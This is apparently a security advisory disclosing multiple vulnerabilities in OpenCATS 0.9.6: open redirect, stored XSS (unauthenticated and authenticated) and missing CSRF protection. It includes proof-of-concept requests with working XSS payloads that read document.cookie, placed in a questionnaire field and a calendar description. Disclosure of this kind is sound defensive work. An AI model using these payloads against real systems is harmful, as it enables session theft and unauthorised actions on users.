Multiple Vulnerabilities in OpenCATS 0.9.6

Open Redirect

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N 7.3/6.9

CWE: 601

OpenCATS is vulnerable to a template injection vulnerability which is caused by improper validation of user-supplied GET parameters.

The request/response shown below is an example of what the victim would be served. We can see that the user is directed away from their intended site to a potentially malicious one ‘https://tenable.com/’.

This vulnerability is found in SettingsUI.php where the ‘url’ GET parameter is passed as the value to the HTML frame source in the template.

Since this value is not sanitized we can also pass Javascript that will be executed when the page renders.

Proof of concept

To reproduce this issue, send the below request to the target.

You will then see that you are redirected to the tenable.com domain.

Unauthenticated Stored XSS

AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L 8.3/7.9

CWE:79

It was noted during testing that the target is vulnerable to stored cross site scripting due to insufficient sanitization of questionnaire answers in the candidate application form.

An unauthenticated attacker could exploit this issue by submitting malicious Javascript as the answer to a questionnaire which would then be executed when an authenticated user reviews the candidate's submission. This could be used to steal other users’ cookies and force users to make actions without their knowledge.

Proof of concept

To reproduce this issue, send the below request to the OpenCATS target. Note: you will need to change the target IP address in the host header to that of your own target.

Referer: https://<OpenCATS Address>/careers/index.php?m=careers&p=onApplyToJobOrder
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="ID"

1
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="candidateID"

-1
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="applyToJobSubAction"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="file"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="resumeContents"

test

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="firstName"

Gimli
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="lastName"

Gimli
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="emailconfirm"

[email protected]
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="phoneHome"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="phoneCell"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="phone"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="bestTimeToCall"

test
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="address"
 

------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="city"

test
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="state"

test
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="zip"

test
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="keySkills"

test
------WebKitFormBoundarydgDyvVK05zEW6FFY
Content-Disposition: form-data; name="questionnaire1Question1"

<script>alert(document.cookie)</script>

-----WebKitFormBoundarydgDyvVK05zEW6FFY-
 

You can see that when browsed to, the application executes our Javascript in the user’s browser.

Authenticated Stored XSS

AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L 6.4/6.1

CWE: 79

It was noted during testing that the target is vulnerable to stored cross site scripting due to insufficient sanitization of the description when creating a calendar event.

An authenticated attacker with access to a restricted account could exploit this issue by submitting malicious Javascript as the description for a calendar event, which would then be executed in other users' browsers if they browse to that event. This could result in stealing session tokens from users with higher permission levels or forcing users to make actions without their knowledge.

==========================

Proof of concept

To reproduce this issue, send the below request to the OpenCATS target. Note: you will need to add your own CATS session token and change the target IP address in the host header to that of your own target.

postback=postback&title=test&type=600&publicEntry=on&dateAdd=11-22-22&allDay=1&sendEmail=admin%40testdomain.com&reminderTime=15&description=%3Cimg+src%3D%22https%3A%2F%2F<OpenCATS Address>%2Fimages%2FapplicationLogo.jpg%22+onload%3D%22alert%28document.cookie%29%22%3E&submit=Add+Event|

When a user browses to the calendar event, the application executes our Javascript in the user's browser.

Cross-site request forgery

AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

CWE: 352

There is no CSRF protection for this application; we can see in the POST request below that there is no CSRF token being used.

An attacker could exploit this issue by creating a dummy page that would execute Javascript in an authenticated user's session if they were tricked into using the malicious dummy page. However, some actions in this application are made with GET parameters which means an attacker would only need to trick an authenticated user into browsing to a specific URL.

Proof of concept

If an authenticated user browses to the below URL they will send an email to a specified address. Note that the fromAddress parameter has to use the domain of the OpenCATS installation, but the username can be anything you like.